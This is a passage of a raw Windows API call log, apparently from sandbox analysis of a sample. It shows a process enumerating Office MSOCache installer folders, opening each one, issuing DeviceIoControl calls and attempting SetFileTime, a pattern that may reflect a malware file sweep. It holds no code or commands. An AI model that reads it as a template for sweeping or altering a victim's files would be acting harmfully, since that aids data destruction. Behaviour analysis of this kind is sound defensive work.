ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0038.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf86168 [0038.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf842b8 [0038.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.426] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0038.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf86188 [0038.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf843c0 [0038.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.890] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0038.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf861a8 [0038.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf844c8 [0038.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.890] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0038.890] GetLastError () returned 0x12 [0038.890] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60e6b0 [0038.890] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0038.891] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.891] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0038.891] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0038.891] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0038.891] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0038.891] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0038.891] GetLastError () returned 0x12 [0038.891] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83c88) returned 1 [0038.891] FindClose (in: hFindFile=0x60e6b0 | out: hFindFile=0x60e6b0) returned 1 [0038.891] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83b80) returned 1 [0038.891] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0038.891] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0038.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.891] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0038.932] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0038.932] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0038.932] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0038.932] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0038.932] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0038.932] NtClose (Handle=0x184) returned 0x0 [0038.932] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.932] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.932] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0038.932] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0038.932] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.932] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83b80 [0038.932] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60b670 [0038.958] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.959] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0038.959] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0038.959] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0038.959] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0038.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83c88 [0038.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0038.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf861c8 [0038.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf845d0 [0038.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.959] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0038.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf861e8 [0038.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf846d8 [0038.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.959] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0038.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf86208 [0038.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf82868 [0038.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.959] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0038.959] GetLastError () returned 0x12 [0038.960] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60e6b0 [0038.960] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0038.960] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.960] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0038.960] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf82970 [0038.960] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0038.960] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0038.960] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0038.960] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0038.960] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0038.960] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0038.960] NtClose (Handle=0x184) returned 0x0 [0038.960] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82970) returned 1 [0038.960] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.960] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0038.960] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf82970 [0038.961] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.961] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf82a78 [0038.961] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60b670 [0038.961] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.962] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0038.962] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.962] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.962] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.962] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.962] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.962] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf82b80 [0038.962] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0038.962] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf86228 [0038.962] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf82c88 [0038.962] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.962] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0038.962] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.962] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.962] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.962] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.962] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.962] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf86248 [0038.962] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf82d90 [0038.962] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.962] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, 